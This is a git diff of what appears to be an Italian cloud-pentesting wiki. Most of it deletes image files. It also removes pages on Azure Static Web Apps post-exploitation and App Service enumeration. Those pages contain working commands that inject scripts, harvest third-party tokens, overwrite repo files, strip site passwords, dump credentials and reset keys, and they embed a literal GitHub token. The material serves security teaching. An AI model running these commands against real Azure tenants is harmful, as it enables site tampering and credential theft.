Binary files a/src/images/image (66).png and /dev/null differ diff --git a/src/images/image (67).png b/src/images/image (67).png deleted file mode 100644 index 603c2135d..000000000 Binary files a/src/images/image (67).png and /dev/null differ diff --git a/src/images/image (68).png b/src/images/image (68).png deleted file mode 100644 index 67c7b2f01..000000000 Binary files a/src/images/image (68).png and /dev/null differ diff --git a/src/images/image (69).png b/src/images/image (69).png deleted file mode 100644 index 70a011106..000000000 Binary files a/src/images/image (69).png and /dev/null differ diff --git a/src/images/image (7) (1) (1) (1).png b/src/images/image (7) (1) (1) (1).png deleted file mode 100644 index 8dece9113..000000000 Binary files a/src/images/image (7) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (1) (2).png b/src/images/image (7) (1) (1) (2).png deleted file mode 100644 index 34fda8b40..000000000 Binary files a/src/images/image (7) (1) (1) (2).png and /dev/null differ diff --git a/src/images/image (7) (1) (1).png b/src/images/image (7) (1) (1).png deleted file mode 100644 index aaec7c056..000000000 Binary files a/src/images/image (7) (1) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (2) (1).png b/src/images/image (7) (1) (2) (1).png deleted file mode 100644 index 987ff45c2..000000000 Binary files a/src/images/image (7) (1) (2) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (2).png b/src/images/image (7) (1) (2).png deleted file mode 100644 index c9a6e22db..000000000 Binary files a/src/images/image (7) (1) (2).png and /dev/null differ diff --git a/src/images/image (7) (1).png b/src/images/image (7) (1).png deleted file mode 100644 index c08e410cf..000000000 Binary files a/src/images/image (7) (1).png and /dev/null differ diff --git a/src/images/image (7) (2).png b/src/images/image (7) (2).png deleted file mode 100644 index 9e0e60398..000000000 Binary files a/src/images/image (7) (2).png and /dev/null differ diff --git a/src/images/image (70).png b/src/images/image (70).png deleted file mode 100644 index e926bb057..000000000 Binary files a/src/images/image (70).png and /dev/null differ diff --git a/src/images/image (71).png b/src/images/image (71).png deleted file mode 100644 index 3c8637485..000000000 Binary files a/src/images/image (71).png and /dev/null differ diff --git a/src/images/image (72).png b/src/images/image (72).png deleted file mode 100644 index 9c56df1fd..000000000 Binary files a/src/images/image (72).png and /dev/null differ diff --git a/src/images/image (73).png b/src/images/image (73).png deleted file mode 100644 index 86d66972e..000000000 Binary files a/src/images/image (73).png and /dev/null differ diff --git a/src/images/image (74).png b/src/images/image (74).png deleted file mode 100644 index ec568a4fa..000000000 Binary files a/src/images/image (74).png and /dev/null differ diff --git a/src/images/image (75).png b/src/images/image (75).png deleted file mode 100644 index 61b0f9004..000000000 Binary files a/src/images/image (75).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1) (1) (1).png b/src/images/image (8) (1) (1) (1) (1) (1).png deleted file mode 100644 index f1071d8a6..000000000 Binary files a/src/images/image (8) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1) (1).png b/src/images/image (8) (1) (1) (1) (1).png deleted file mode 100644 index c57fa4d22..000000000 Binary files a/src/images/image (8) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1).png b/src/images/image (8) (1) (1) (1).png deleted file mode 100644 index 04471fecb..000000000 Binary files a/src/images/image (8) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1).png b/src/images/image (8) (1) (1).png deleted file mode 100644 index 603c2135d..000000000 Binary files a/src/images/image (8) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1).png b/src/images/image (8) (1).png deleted file mode 100644 index 7f9833bf8..000000000 Binary files a/src/images/image (8) (1).png and /dev/null differ diff --git a/src/images/image (8) (2).png b/src/images/image (8) (2).png deleted file mode 100644 index ccbac226e..000000000 Binary files a/src/images/image (8) (2).png and /dev/null differ diff --git a/src/images/image (8) (3).png b/src/images/image (8) (3).png deleted file mode 100644 index 1279948e3..000000000 Binary files a/src/images/image (8) (3).png and /dev/null differ diff --git a/src/images/image (80).png b/src/images/image (80).png deleted file mode 100644 index 6afb7de00..000000000 Binary files a/src/images/image (80).png and /dev/null differ diff --git a/src/images/image (83) (1).png b/src/images/image (83) (1).png deleted file mode 100644 index cf7f43578..000000000 Binary files a/src/images/image (83) (1).png and /dev/null differ diff --git a/src/images/image (84).png b/src/images/image (84).png deleted file mode 100644 index 8e8c8e143..000000000 Binary files a/src/images/image (84).png and /dev/null differ diff --git a/src/images/image (85) (1).png b/src/images/image (85) (1).png deleted file mode 100644 index 4a7a7bbec..000000000 Binary files a/src/images/image (85) (1).png and /dev/null differ diff --git a/src/images/image (85).png b/src/images/image (85).png deleted file mode 100644 index 4b102f3b3..000000000 Binary files a/src/images/image (85).png and /dev/null differ diff --git a/src/images/image (87) (1).png b/src/images/image (87) (1).png deleted file mode 100644 index 8ee408d4f..000000000 Binary files a/src/images/image (87) (1).png and /dev/null differ diff --git a/src/images/image (87).png b/src/images/image (87).png deleted file mode 100644 index 72803d6a2..000000000 Binary files a/src/images/image (87).png and /dev/null differ diff --git a/src/images/image (89) (1).png b/src/images/image (89) (1).png deleted file mode 100644 index 05d5e97a9..000000000 Binary files a/src/images/image (89) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1) (1) (1).png b/src/images/image (9) (1) (1) (1) (1).png deleted file mode 100644 index c933d4692..000000000 Binary files a/src/images/image (9) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1) (1).png b/src/images/image (9) (1) (1) (1).png deleted file mode 100644 index b9ba83cc0..000000000 Binary files a/src/images/image (9) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1).png b/src/images/image (9) (1) (1).png deleted file mode 100644 index 67c7b2f01..000000000 Binary files a/src/images/image (9) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1).png b/src/images/image (9) (1).png deleted file mode 100644 index 7593f6f36..000000000 Binary files a/src/images/image (9) (1).png and /dev/null differ diff --git a/src/images/image (9) (2).png b/src/images/image (9) (2).png deleted file mode 100644 index 03ad3a91f..000000000 Binary files a/src/images/image (9) (2).png and /dev/null differ diff --git a/src/images/image (9).png b/src/images/image (9).png deleted file mode 100644 index 01b5eed6d..000000000 Binary files a/src/images/image (9).png and /dev/null differ diff --git a/src/images/image (90).png b/src/images/image (90).png deleted file mode 100644 index 327adc67b..000000000 Binary files a/src/images/image (90).png and /dev/null differ diff --git a/src/images/image (91).png b/src/images/image (91).png deleted file mode 100644 index 331ec323a..000000000 Binary files a/src/images/image (91).png and /dev/null differ diff --git a/src/images/image (92) (1) (1).png b/src/images/image (92) (1) (1).png deleted file mode 100644 index fb0364e97..000000000 Binary files a/src/images/image (92) (1) (1).png and /dev/null differ diff --git a/src/images/image (92) (1).png b/src/images/image (92) (1).png deleted file mode 100644 index 26d1fff4b..000000000 Binary files a/src/images/image (92) (1).png and /dev/null differ diff --git a/src/images/image (94).png b/src/images/image (94).png deleted file mode 100644 index 5e3da1153..000000000 Binary files a/src/images/image (94).png and /dev/null differ diff --git a/src/images/image (97).png b/src/images/image (97).png deleted file mode 100644 index 242eb34e3..000000000 Binary files a/src/images/image (97).png and /dev/null differ diff --git a/src/images/image (99).png b/src/images/image (99).png deleted file mode 100644 index b4b0305b7..000000000 Binary files a/src/images/image (99).png and /dev/null differ diff --git a/src/images/sponsor_8ksec.png b/src/images/sponsor_8ksec.png deleted file mode 100644 index 1d751216b..000000000 Binary files a/src/images/sponsor_8ksec.png and /dev/null differ diff --git a/src/images/sponsor_hackenproof.jpeg b/src/images/sponsor_hackenproof.jpeg deleted file mode 100644 index a4c6bc6f4..000000000 Binary files a/src/images/sponsor_hackenproof.jpeg and /dev/null differ diff --git a/src/images/sponsor_intigriti.png b/src/images/sponsor_intigriti.png deleted file mode 100644 index b7944f7d8..000000000 Binary files a/src/images/sponsor_intigriti.png and /dev/null differ diff --git a/src/images/sponsor_pentesttools.webp b/src/images/sponsor_pentesttools.webp deleted file mode 100644 index 1b5a0d663..000000000 Binary files a/src/images/sponsor_pentesttools.webp and /dev/null differ diff --git a/src/images/sponsor_rootedcon.png b/src/images/sponsor_rootedcon.png deleted file mode 100644 index cf4e8a20a..000000000 Binary files a/src/images/sponsor_rootedcon.png and /dev/null differ diff --git a/src/images/sponsor_stm.png b/src/images/sponsor_stm.png deleted file mode 100644 index e45c021c8..000000000 Binary files a/src/images/sponsor_stm.png and /dev/null differ diff --git a/src/images/sponsor_trickest.jpeg b/src/images/sponsor_trickest.jpeg deleted file mode 100644 index 92331426b..000000000 Binary files a/src/images/sponsor_trickest.jpeg and /dev/null differ diff --git a/src/images/telegram-cloud-document-4-5875069018120918586.jpg b/src/images/telegram-cloud-document-4-5875069018120918586.jpg deleted file mode 100644 index b7f7fc4c7..000000000 Binary files a/src/images/telegram-cloud-document-4-5875069018120918586.jpg and /dev/null differ diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 4843ba547..d92440ab7 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -24,7 +24,7 @@ pwsh # Az cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash ``` -## Installare PowerShell in MacOS +## Installa PowerShell su MacOS Istruzioni dalla [**documentazione**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): @@ -121,9 +121,11 @@ Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Il modulo Azure Active Directory (AD), ora **deprecato**, fa parte di Azure PowerShell per la gestione delle risorse di Azure AD. Fornisce cmdlet per attività come la gestione di utenti, gruppi e registrazioni di applicazioni in Entra ID. +Il modulo Azure Active Directory (AD), ora **deprecato**, fa parte di Azure PowerShell per gestire le risorse di Azure AD. Fornisce cmdlet per attività come la gestione di utenti, gruppi e registrazioni di applicazioni in Entra ID. > [!TIP] > Questo è sostituito da Microsoft Graph PowerShell Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md deleted file mode 100644 index 0814f09dc..000000000 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md +++ /dev/null @@ -1,162 +0,0 @@ -# Az - Static Web Apps Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Azure Static Web Apps - -Per ulteriori informazioni su questo servizio, controlla: - -{{#ref}} -../az-services/az-static-web-apps.md -{{#endref}} - -### Microsoft.Web/staticSites/snippets/write - -È possibile far caricare a una pagina web statica codice HTML arbitrario creando uno snippet. Questo potrebbe consentire a un attaccante di iniettare codice JS all'interno dell'app web e rubare informazioni sensibili come credenziali o chiavi mnemoniche (in portafogli web3). - -Il seguente comando crea uno snippet che sarà sempre caricato dall'app web:: -```bash -az rest \ ---method PUT \ ---uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ ---headers "Content-Type=application/json" \ ---body '{ -"properties": { -"name": "supersnippet", -"location": "Body", -"applicableEnvironmentsMode": "AllEnvironments", -"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", -"environments": [], -"insertBottom": false -} -}' -``` -### Leggi le credenziali di terze parti configurate - -Come spiegato nella sezione App Service: - -{{#ref}} -../az-privilege-escalation/az-app-services-privesc.md -{{#endref}} - -Eseguendo il seguente comando è possibile **leggere le credenziali di terze parti** configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro. -```bash -az rest --method GET \ ---url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" -``` -Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive. - -Ecco alcuni esempi di comandi per controllare i token: -```bash -# GitHub – List Repositories -curl -H "Authorization: token " \ --H "Accept: application/vnd.github.v3+json" \ -https://api.github.com/user/repos - -# Bitbucket – List Repositories -curl -H "Authorization: Bearer " \ --H "Accept: application/json" \ -https://api.bitbucket.org/2.0/repositories - -# Dropbox – List Files in Root Folder -curl -X POST https://api.dropboxapi.com/2/files/list_folder \ --H "Authorization: Bearer " \ --H "Content-Type: application/json" \ ---data '{"path": ""}' - -# OneDrive – List Files in Root Folder -curl -H "Authorization: Bearer " \ --H "Accept: application/json" \ -https://graph.microsoft.com/v1.0/me/drive/root/children -``` -### Sovrascrivere file - Sovrascrivere percorsi, HTML, JS... - -È possibile **sovrascrivere un file all'interno del repository Github** contenente l'app tramite Azure inviando una richiesta come la seguente, che indicherà il percorso del file da sovrascrivere, il contenuto del file e il messaggio di commit. - -Questo può essere sfruttato dagli attaccanti per **cambiare il contenuto dell'app web** per servire contenuti dannosi (rubare credenziali, chiavi mnemoniche...) o semplicemente per **reindirizzare determinati percorsi** ai propri server sovrascrivendo il file `staticwebapp.config.json`. - -> [!WARNING] -> Nota che se un attaccante riesce a compromettere il repository Github in qualsiasi modo, può anche sovrascrivere il file direttamente da Github. -```bash -curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ --H "Content-Type: application/json" \ --d '{ -"commit": { -"message": "Update static web app route configuration", -"branchName": "main", -"committer": { -"name": "Azure App Service", -"email": "donotreply@microsoft.com" -}, -"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", -"filePath": "staticwebapp.config.json", -"message": "Update static web app route configuration", -"repoName": "carlospolop/my-first-static-web-app", -"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" -}, -"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" -}' -``` -### Microsoft.Web/staticSites/config/write - -Con questo permesso, è possibile **modificare la password** che protegge un'app web statica o addirittura rimuovere la protezione da ogni ambiente inviando una richiesta come la seguente: -```bash -# Change password -az rest --method put \ ---url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ ---headers 'Content-Type=application/json' \ ---body '{ -"name": "basicAuth", -"type": "Microsoft.Web/staticSites/basicAuth", -"properties": { -"password": "SuperPassword123.", -"secretUrl": "", -"applicableEnvironmentsMode": "AllEnvironments" -} -}' - -# Remove the need of a password -az rest --method put \ ---url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ ---headers 'Content-Type=application/json' \ ---body '{ -"name": "basicAuth", -"type": "Microsoft.Web/staticSites/basicAuth", -"properties": { -"secretUrl": "", -"applicableEnvironmentsMode": "SpecifiedEnvironments", -"secretState": "None" -} -}' -``` -### Microsoft.Web/staticSites/listSecrets/action - -Questo permesso consente di ottenere il **token di distribuzione della chiave API** per l'app statica. - -Questo token consente di distribuire l'app. -```bash -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" -``` -Poi, per aggiornare un'app, puoi eseguire il seguente comando. Nota che questo comando è stato estratto controllando **come funziona Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, poiché è quello impostato da Azure per impostazione predefinita. Quindi l'immagine e i parametri potrebbero cambiare in futuro. - -1. Scarica il repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (o qualsiasi altro repo che desideri distribuire) ed esegui `cd react-basic`. -2. Modifica il codice che desideri distribuire -3. Distribuiscilo eseguendo (Ricorda di cambiare il ``): -```bash -docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose -``` -### Microsoft.Web/staticSites/write - -Con questo permesso è possibile **cambiare la sorgente dell'app web statica in un diverso repository Github**, tuttavia, non verrà automaticamente fornito poiché questo deve essere fatto da un'azione Github di solito con il token che ha autorizzato l'azione poiché questo token non viene aggiornato automaticamente all'interno dei segreti Github del repository (viene semplicemente aggiunto automaticamente quando l'app viene creata). -```bash -az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main -``` -### Microsoft.Web/staticSites/resetapikey/action - -Con questo permesso è possibile **reimpostare la chiave API dell'app web statica**, potenzialmente causando un DoS ai flussi di lavoro che distribuiscono automaticamente l'app. -```bash -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md deleted file mode 100644 index 7c2fbac0a..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ /dev/null @@ -1,273 +0,0 @@ -# Az - App Services - -{{#include ../../../banners/hacktricks-training.md}} - -## App Service Basic Information - -Azure App Services consente agli sviluppatori di **creare, distribuire e scalare applicazioni web, backend di app mobili e API senza soluzione di continuità**. Supporta più linguaggi di programmazione e si integra con vari strumenti e servizi Azure per funzionalità e gestione avanzate. - -Ogni app viene eseguita all'interno di un sandbox, ma l'isolamento dipende dai piani App Service - -- Le app nei livelli Free e Shared vengono eseguite su VM condivise -- Le app nei livelli Standard e Premium vengono eseguite su VM dedicate - -> [!WARNING] -> Nota che **nessuno** di questi isolamenti **previene** altre comuni **vulnerabilità web** (come il caricamento di file o le iniezioni). E se viene utilizzata un'**identità di gestione**, potrebbe essere in grado di **escalare i privilegi a esse**. - -Le app hanno alcune configurazioni interessanti: - -- **Always On**: Garantisce che l'app sia sempre in esecuzione. Se non abilitato, l'app smetterà di funzionare dopo 20 minuti di inattività e riprenderà quando viene ricevuta una richiesta. -- Questo è essenziale se hai un webjob che deve essere eseguito continuamente, poiché il webjob si fermerà se l'app si ferma. -- **SSH**: Se abilitato, un utente con permessi sufficienti può connettersi all'app utilizzando SSH. -- **Debugging**: Se abilitato, un utente con permessi sufficienti può eseguire il debug dell'app. Tuttavia, questo viene disabilitato automaticamente ogni 48 ore. -- **Web App + Database**: La console web consente di creare un'app con un database. In questo caso è possibile selezionare il database da utilizzare (SQLAzure, PostgreSQL, MySQL, MongoDB) e consente anche di creare una Cache di Azure per Redis. -- L'URL contenente le credenziali per il database e Redis sarà memorizzato nelle **appsettings**. -- **Container**: È possibile distribuire un container nel App Service indicando l'URL del container e le credenziali per accedervi. - -## Basic Authentication - -Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera abilitare l'autenticazione di base. Questo abilita sostanzialmente **SCM e FTP** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie.\ -Inoltre, per connettersi a esse, Azure fornisce un'**API che consente di ottenere il nome utente, la password e l'URL** per connettersi ai server SCM e FTP. - -È possibile connettersi allo SCM utilizzando un browser web in `https:///BasicAuth` e controllare tutti i file e le distribuzioni lì. - -### Kudu - -Kudu è un **motore di distribuzione e piattaforma di gestione per Azure App Service e Function Apps**, che fornisce distribuzioni basate su Git, debug remoto e capacità di gestione dei file per le applicazioni web. È accessibile tramite l'URL SCM dell'app web. - -Nota che le versioni Kudu utilizzate da App Services e da Function Apps sono diverse, con la versione delle Function Apps molto più limitata. - -Alcuni endpoint interessanti che puoi trovare in Kudu sono: -- `/DebugConsole`: Una console che consente di eseguire comandi nell'ambiente in cui Kudu è in esecuzione. -- Nota che questo ambiente **non ha accesso** al servizio di metadata per ottenere token. -- `/webssh/host`: Un client SSH basato su web che consente di connettersi all'interno del container in cui l'app è in esecuzione. -- Questo ambiente **ha accesso al servizio di metadata** per ottenere token dalle identità gestite assegnate. -- `/Env`: Ottieni informazioni sul sistema, impostazioni dell'app, variabili d'ambiente, stringhe di connessione e intestazioni HTTP. -- `/wwwroot/`: La directory radice dell'app web. Puoi scaricare tutti i file da qui. - -## Sources - -App Services consentono di caricare il codice come file zip per impostazione predefinita, ma consentono anche di connettersi a un servizio di terze parti e ottenere il codice da lì. - -- Le fonti di terze parti attualmente supportate sono **Github** e **Bitbucket**. -- Puoi ottenere i token di autenticazione eseguendo `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` -- Azure per impostazione predefinita configurerà un **Github Action** per distribuire il codice nel App Service ogni volta che il codice viene aggiornato. -- È anche possibile indicare un **repository git remoto** (con nome utente e password) per ottenere il codice da lì. -- Puoi ottenere le credenziali per il repository remoto eseguendo `az webapp deployment source show --name --resource-group ` o `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` -- È anche possibile utilizzare un **Azure Repository**. -- È anche possibile configurare un **repository git locale**. -- Puoi ottenere l'URL del repository git con `az webapp deployment source show --name --resource-group ` e sarà l'URL SCM dell'app. -- Per clonarlo avrai bisogno delle credenziali SCM che puoi ottenere con `az webapp deployment list-publishing-profiles --resource-group -n ` - - -## Webjobs - -Azure WebJobs sono **compiti in background che vengono eseguiti nell'ambiente Azure App Service**. Consentono agli sviluppatori di eseguire script o programmi insieme alle loro applicazioni web, facilitando la gestione di operazioni asincrone o intensive in termini di tempo come l'elaborazione di file, la gestione dei dati o compiti programmati. -Ci sono 2 tipi di web jobs: -- **Continuous**: Esegue indefinitamente in un ciclo ed è attivato non appena viene creato. È ideale per compiti che richiedono un'elaborazione costante. Tuttavia, se l'app smette di funzionare perché Always On è disabilitato e non ha ricevuto una richiesta negli ultimi 20 minuti, il web job si fermerà anche. -- **Triggered**: Esegue su richiesta o in base a un programma. È più adatto per compiti periodici, come aggiornamenti batch dei dati o routine di manutenzione. - -I webjobs sono molto interessanti da una prospettiva di attacco poiché potrebbero essere utilizzati per **eseguire codice** nell'ambiente e **escalare privilegi** alle identità gestite collegate. - -Inoltre, è sempre interessante controllare i **log** generati dai Webjobs poiché potrebbero contenere **informazioni sensibili**. - -### Slots - -Gli Azure App Service Slots vengono utilizzati per **distribuire diverse versioni dell'applicazione** nello stesso App Service. Questo consente agli sviluppatori di testare nuove funzionalità o modifiche in un ambiente separato prima di distribuirle nell'ambiente di produzione. - -Inoltre, è possibile instradare una **percentuale del traffico** a uno slot specifico, utile per **A/B testing** e per scopi di backdoor. - -### Azure Function Apps - -Fondamentalmente, **le Azure Function apps sono un sottoinsieme di Azure App Service** nel web e se vai alla console web e elenchi tutti i servizi app o esegui `az webapp list` in az cli, sarai in grado di **vedere anche le Function apps elencate qui**. - -In realtà, alcune delle **funzionalità di sicurezza** relative ai servizi App (`webapp` nell'az cli) sono **anche utilizzate dalle Function apps**. - - -### Enumeration - -{{#tabs }} -{{#tab name="az" }} -```bash -# List webapps -az webapp list -## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table -## Get SCM URL of each webapp -az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' - -# Get info about 1 app -az webapp show --name --resource-group - -# Get instances of a webapp -az webapp list-instances --name --resource-group -## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web - -# Get access restrictions of an app -az webapp config access-restriction show --name --resource-group - -# Remove access restrictions -az webapp config access-restriction remove --resource-group -n --rule-name - -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group - -# Get appsettings of an app -az webapp config appsettings list --name --resource-group - -# Get SCM and FTP credentials -az webapp deployment list-publishing-profiles --name --resource-group - -# Get configured Auth information -az webapp auth show --name --resource-group - -# Get backups of a webapp -az webapp config backup list --webapp-name --resource-group - -# Get backups scheduled for a webapp -az webapp config backup show --webapp-name --resource-group - -# Get snapshots -az webapp config snapshot list --resource-group -n - -# Restore snapshot -az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 - -# Get slots -az webapp deployment slot list --name --resource-group --output table -az webapp show --slot --name --resource-group - -# Get traffic-routing -az webapp traffic-routing show --name --resource-group - -# Get used container by the app -az webapp config container show --name --resource-group - -# Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-group - -# Get configured container (if any) in the webapp, it could contain credentials -az webapp config container show --name --resource-group - -# Get Webjobs -az webapp webjob continuous list --resource-group --name -az webapp webjob triggered list --resource-group --name - -# Read webjobs logs with Azure permissions -az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" -az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" - -# Read webjobs logs with SCM credentials -curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ ---user ':' -v - -# Get connections of a webapp -az webapp conection list --name --resource-group - -# Get hybrid-connections of a webapp -az webapp hybrid-connections list --name --resource-group -``` -{{#endtab }} - -{{#tab name="Az Powershell" }} -```powershell -# Get App Services and Function Apps -Get-AzWebApp -# Get only App Services -Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} -``` -{{#endtab }} - -{{#tab name="az get all" }} -```bash -#!/bin/bash - -# Get all App Service and Function Apps - -# Define Azure subscription ID -azure_subscription="your_subscription_id" - -# Log in to Azure -az login - -# Select Azure subscription -az account set --subscription $azure_subscription - -# Get all App Services in the specified subscription -list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv) - -# Iterate over each App Service -echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do -# Get the type of the App Service -service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) - -# Check if it is a Function App and print its name -if [ "$service_type" == "functionapp" ]; then -echo "Function App Name: $appServiceName" -fi -done -``` -{{#endtab }} -{{#endtabs }} - -#### Ottenere credenziali e accedere al codice dell'app web -```bash -# Get connection strings that could contain credentials (with DBs for example) -az webapp config connection-string list --name --resource-group -## Check how to use the DBs connection strings in the SQL page - -# Get credentials to access the code and DB credentials if configured. -az webapp deployment list-publishing-profiles --resource-group -n - - -# Get git URL to access the code -az webapp deployment source config-local-git --resource-group -n - -# Access/Modify the code via git -git clone 'https://:@name.scm.azurewebsites.net/repo-name.git' -## In my case the username was: $nameofthewebapp and the password some random chars -## If you change the code and do a push, the app is automatically redeployed -``` -{{#ref}} -../az-privilege-escalation/az-app-services-privesc.md -{{#endref}} - -## Esempi per generare Web Apps - -### Python da locale - -Questo tutorial si basa su quello di [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli). -```bash -# Clone repository -git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart -cd msdocs-python-flask-webapp-quickstart - -# Create webapp from this code -az webapp up --runtime PYTHON:3.9 --sku B1 --logs -``` -Accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web. - -> [!TIP] -> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` non è sufficiente per cambiare il codice eseguito dall'app web. - -**Un attaccante potrebbe scaricare questo file, modificarlo e caricarlo di nuovo per eseguire codice arbitrario nell'app web.** - -### Python da Github - -Questo tutorial si basa sul precedente ma utilizza un repository Github. - -1. Forka il repo msdocs-python-flask-webapp-quickstart nel tuo account Github. -2. Crea una nuova Web App Python in Azure. -3. Nel `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`. - -Come nel caso precedente, accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web. - -> [!TIP] -> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` e riattivare un deployment non è sufficiente per cambiare il codice eseguito dall'app web. - - -## Riferimenti - -- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) - -{{#include ../../../banners/hacktricks-training.md}}